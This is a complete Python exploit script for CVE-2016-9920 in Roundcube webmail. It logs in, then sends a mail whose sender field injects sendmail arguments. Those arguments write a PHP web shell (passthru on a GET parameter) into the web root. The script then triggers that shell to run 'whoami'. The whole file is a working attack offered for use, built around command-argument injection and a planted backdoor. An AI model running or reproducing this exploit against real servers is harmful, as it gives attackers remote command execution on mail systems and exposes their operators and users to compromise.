#!/usr/bin/env python
# CVE-2016-9920 exploit by t0kx
# https://github.com/t0kx/exploit-CVE-2016-9920

import re
import requests
import argparse

class Exploit:
    def __init__(self, host, user, pwd, path, www_path):
        self.__headers = {"Content-Type": "application/x-www-form-urlencoded"}
        self.__url = "http://" + host + "/" + path + "/"
        self.__www_folder = www_path
        self.__compose_id = None
        self.__request_token = None
        self.__cookie = None
        self.__username = user
        self.__password = pwd

    def __auth(self):
        data = requests.get(self.__url)
        match = re.search('"request_token":"([^"]+)"', data.text)
        self.__request_token = match.group(0).split(":")[1].replace("\"", "")
        self.__cookie = dict(roundcube_sessid=data.cookies["roundcube_sessid"])

    def __login(self):
        payload = "_token=" + self.__request_token + \
                "&_task=login&_action=login&_timezone=1&_dstactive=1&_url=&_user=" + \
                self.__username + "&_pass=" + self.__password

        data = requests.post(self.__url + "?_task=login", headers=self.__headers,
                cookies=self.__cookie, data=payload, allow_redirects=False)

        if data.status_code == 302:
            self.__request_token = data.headers["Location"].split("token=")[1]
            self.__cookie = data.cookies

    def __compose(self):
        data = requests.get(self.__url + "?_task=mail&_mbox=INBOX&_action=compose",
                cookies=self.__cookie, allow_redirects=False)

        if data.status_code == 302:
            self.__compose_id = data.headers['Location'].split("id=")[1]

    def __mail(self):
        backdoor = self.__www_folder + "/backdoor.php"
        cmd = "<?php echo passthru($_GET['cmd']); ?>"
        payload = "_token=" + self.__request_token + \
                "&_task=mail&_action=send&_id=" + self.__compose_id + \
                "&_attachments=&_from=example@example.com -OQueueDirectory=/tmp -X" + backdoor + \
                "&_to=example@pWnexAmplE.sh&_cc=&_bcc=&_replyto=&_followupto=&_subject=" + cmd + \
                "&editorSelector=plain&_priority=0&_store_target=" \
                "&_draft_saveid=&_draft=&_is_html=0&_framed=1" \
                "&_message=pwn"
        data = requests.post(self.__url + "?_task=mail&_lang=en_US&_framed=1",
                headers=self.__headers, cookies=self.__cookie, data=payload)

        if "Message sent successfully" in data.text:
            print("[+] Target exploited, acessing shell at " + self.__url + "backdoor.php")
            print("[+] Running whoami: " + self.__trigger())
            print("[+] Done")
        else:
            print("[!] Failed")

    def __trigger(self):
        data = requests.get(self.__url + "backdoor.php?cmd=whoami")
        match = re.search('Subject: ([^"]+)', data.text)
        return match.group(0) \
                .split("\n")[0] \
                .split("Subject:")[1] \
                .replace(" ", "")

    def run(self):
        self.__auth()
        self.__login()
        self.__compose()
        self.__mail()

def main(args):
    print("[+] CVE-2016-9920 exploit by t0kx")
    print("[+] Exploiting " + args.host)

    exploit = Exploit(args.host, args.user,
            args.pwd, args.path, args.www_path)
    exploit.run()

if __name__ == "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument('--host', required=True)
    parser.add_argument('--user', required=True)
    parser.add_argument('--pwd', required=True)
    parser.add_argument('--path', required=True)
    parser.add_argument('--www_path', required=True)
    args = parser.parse_args()

    main(args)